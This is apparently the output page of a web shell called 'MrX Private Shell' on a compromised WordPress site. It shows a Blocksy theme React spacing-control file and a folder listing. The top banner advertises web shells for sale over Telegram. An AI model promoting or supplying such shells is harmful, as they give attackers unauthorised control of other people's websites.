__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { createElement, useState } from '@wordpress/element'
import { __ } from 'ct-i18n'
import cls from 'classnames'
import OutsideClickHandler from './react-outside-click-handler'
import SpacingInput from './ct-spacing/input'
export const SPACING_STATE_LINKED = 1
export const SPACING_STATE_INDEPENDENT = 2
export const SPACING_STATE_CUSTOM = 3
const backportLegacySpacing = (legacy) => {
if (legacy === 'auto' || legacy === '') {
return {
value: legacy,
unit: '',
}
}
const maybeNumber = parseFloat(legacy)
if (isNaN(maybeNumber)) {
return {
value: '',
unit: '',
}
}
return {
value: maybeNumber,
unit: legacy.toString().replace(maybeNumber.toString(), ''),
}
}
const Spacing = ({ value: maybeLegacyValue, option, onChange }) => {
const [isOpen, setIsOpen] = useState(false)
const units = [
{ unit: 'px' },
{ unit: '%' },
{ unit: 'em' },
{ unit: 'rem' },
{ unit: 'pt' },
]
let value = maybeLegacyValue.values
? maybeLegacyValue
: {
values: [
backportLegacySpacing(maybeLegacyValue.top),
backportLegacySpacing(maybeLegacyValue.right),
backportLegacySpacing(maybeLegacyValue.bottom),
backportLegacySpacing(maybeLegacyValue.left),
],
custom: '',
state: maybeLegacyValue.linked
? SPACING_STATE_LINKED
: SPACING_STATE_INDEPENDENT,
}
const currentUnit =
value.values.find((v) => v.value !== 'auto').unit || units[0].unit
return (
<div
className={cls('ct-option-spacing', {
linked: value.state === SPACING_STATE_LINKED,
custom: value.state === SPACING_STATE_CUSTOM,
})}>
<SpacingInput
currentUnit={currentUnit}
value={value}
option={option}
onChange={onChange}
/>
<div
className={cls('ct-spacing-controls ct-value-changer', {
active: isOpen,
})}>
{value.state !== SPACING_STATE_CUSTOM && (
<span
className="ct-link-unlink-toggle"
onClick={(e) => {
e.preventDefault()
if (value.state === SPACING_STATE_LINKED) {
onChange({
...value,
state: SPACING_STATE_INDEPENDENT,
})
return
}
const futureValue = value.values.find((v) => {
return v.value !== 'auto' && v.value !== ''
}) || {
value: '',
unit: '',
}
onChange({
...value,
values: [
value.values[0].value === 'auto'
? value.values[0]
: futureValue,
value.values[1].value === 'auto'
? value.values[1]
: futureValue,
value.values[2].value === 'auto'
? value.values[2]
: futureValue,
value.values[3].value === 'auto'
? value.values[3]
: futureValue,
],
state: SPACING_STATE_LINKED,
})
}}>
<svg
width="14"
height="14"
viewBox="0 0 24 24"
fill="currentColor">
{value.state === SPACING_STATE_LINKED ? (
<path d="M24,12c0,3.9-3.2,7.1-7.1,7.1h-2.2v-2.1h2.2c2.8,0,5.1-2.3,5.1-5.1s-2.3-5.1-5.1-5.1h-2.2V4.9h2.2 C20.8,4.9,24,8.1,24,12z M2.1,12c0-2.8,2.3-5.1,5.1-5.1h2.2V4.9H7.1C3.2,4.9,0,8.1,0,12s3.2,7.1,7.1,7.1h2.2v-2.1H7.1 C4.3,17.1,2.1,14.8,2.1,12z M8.3,13h7.3V11H8.3V13z"></path>
) : (
<path d="M24,12c0,3.9-3.2,7.1-7.1,7.1h-2.2v-2.1h2.2c2.8,0,5.1-2.3,5.1-5.1s-2.3-5.1-5.1-5.1h-1.8L7.5,23.4l-1.2-0.6L8,19.1H7.1 C3.2,19.1,0,15.9,0,12s3.2-7.1,7.1-7.1h2.2v2.1H7.1C4.3,6.9,2,9.2,2,12s2.3,5.1,5.1,5.1h1.8l1.8-4H7.9V11h3.8l4.7-10.3l1.2,0.6 L16,4.9h0.9C20.8,4.9,24,8.1,24,12z"></path>
)}
</svg>
</span>
)}
<div
onClick={() => setIsOpen(!isOpen)}
className="ct-current-value"
data-unit={
value.state === SPACING_STATE_CUSTOM
? 'custom'
: currentUnit
}>
{value.state === SPACING_STATE_CUSTOM
? __('Custom', 'blocksy')
: currentUnit || '―'}
</div>
<OutsideClickHandler
className="ct-units-list"
onOutsideClick={() => {
if (!isOpen) {
return
}
setIsOpen(false)
}}>
{[
...units,
...(value.state === SPACING_STATE_CUSTOM
? []
: [{ unit: 'custom' }]),
]
.filter(({ unit }) => unit !== currentUnit)
.map(({ unit }) => (
<span
key={unit}
data-unit={unit}
onClick={() => {
if (unit === 'custom') {
onChange({
...value,
state: SPACING_STATE_CUSTOM,
})
setIsOpen(false)
return
}
let nonAutoValues = value.values
.filter((v) => v.value !== 'auto')
.map((v) => v.value + v.unit)
const futureState =
[...new Set(nonAutoValues)].length === 1
? SPACING_STATE_LINKED
: SPACING_STATE_INDEPENDENT
onChange({
...value,
values: value.values.map((v) => ({
...v,
unit,
})),
state: futureState,
})
setIsOpen(false)
}}>
{unit === 'custom'
? __('Custom', 'blocksy')
: unit}
</span>
))}
</OutsideClickHandler>
</div>
</div>
)
}
export default Spacing
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| background | Folder | 0750 |
|
|
| box-shadow | Folder | 0750 |
|
|
| color-palettes | Folder | 0750 |
|
|
| color-picker | Folder | 0750 |
|
|
| ct-addable-box | Folder | 0750 |
|
|
| ct-layers | Folder | 0750 |
|
|
| ct-number | Folder | 0750 |
|
|
| ct-radio | Folder | 0750 |
|
|
| ct-select | Folder | 0750 |
|
|
| ct-slider | Folder | 0750 |
|
|
| ct-spacing | Folder | 0750 |
|
|
| ct-switch | Folder | 0750 |
|
|
| ratio | Folder | 0750 |
|
|
| text | Folder | 0750 |
|
|
| typography | Folder | 0750 |
|
|
| ct-addable-box.js | File | 6.16 KB | 0640 |
|
| ct-background.js | File | 5.46 KB | 0640 |
|
| ct-border.js | File | 2.75 KB | 0640 |
|
| ct-box-shadow.js | File | 2.64 KB | 0640 |
|
| ct-button.js | File | 456 B | 0640 |
|
| ct-checkboxes.js | File | 1.91 KB | 0640 |
|
| ct-color-palettes-mirror.js | File | 1000 B | 0640 |
|
| ct-color-palettes-picker.js | File | 6.71 KB | 0640 |
|
| ct-color-picker.js | File | 2.71 KB | 0640 |
|
| ct-customize-section-title-actions.js | File | 6.74 KB | 0640 |
|
| ct-customizer-reset-options.js | File | 1.83 KB | 0640 |
|
| ct-divider.js | File | 328 B | 0640 |
|
| ct-entity-picker.js | File | 2.38 KB | 0640 |
|
| ct-file-uploader.js | File | 2 KB | 0640 |
|
| ct-footer-builder.js | File | 5.96 KB | 0640 |
|
| ct-header-builder.js | File | 272 B | 0640 |
|
| ct-image-picker.js | File | 1.81 KB | 0640 |
|
| ct-image-uploader.js | File | 10.12 KB | 0640 |
|
| ct-layers-combined.js | File | 2.22 KB | 0640 |
|
| ct-layers-mirror.js | File | 1.15 KB | 0640 |
|
| ct-layers.js | File | 5.39 KB | 0640 |
|
| ct-multi-image-uploader.js | File | 3.14 KB | 0640 |
|
| ct-notification.js | File | 378 B | 0640 |
|
| ct-number.js | File | 454 B | 0640 |
|
| ct-panel.js | File | 8.88 KB | 0640 |
|
| ct-radio.js | File | 401 B | 0640 |
|
| ct-ratio.js | File | 6.87 KB | 0640 |
|
| ct-select.js | File | 669 B | 0640 |
|
| ct-slider.js | File | 14.14 KB | 0640 |
|
| ct-spacer.js | File | 386 B | 0640 |
|
| ct-spacing.js | File | 5.09 KB | 0640 |
|
| ct-switch.js | File | 508 B | 0640 |
|
| ct-timer.js | File | 3.27 KB | 0640 |
|
| ct-title.js | File | 562 B | 0640 |
|
| ct-typography.js | File | 7.35 KB | 0640 |
|
| ct-visibility.js | File | 4.76 KB | 0640 |
|
| ct-woocommerce-columns-and-rows.js | File | 3 KB | 0640 |
|
| ct-woocommerce-ratio.js | File | 1.66 KB | 0640 |
|
| date-time-picker.js | File | 811 B | 0640 |
|
| hidden.js | File | 243 B | 0640 |
|
| html.js | File | 264 B | 0640 |
|
| jsx.js | File | 237 B | 0640 |
|
| react-outside-click-handler.js | File | 3.17 KB | 0640 |
|
| text.js | File | 384 B | 0640 |
|
| textarea.js | File | 518 B | 0640 |
|
| wp-editor.js | File | 3.67 KB | 0640 |
|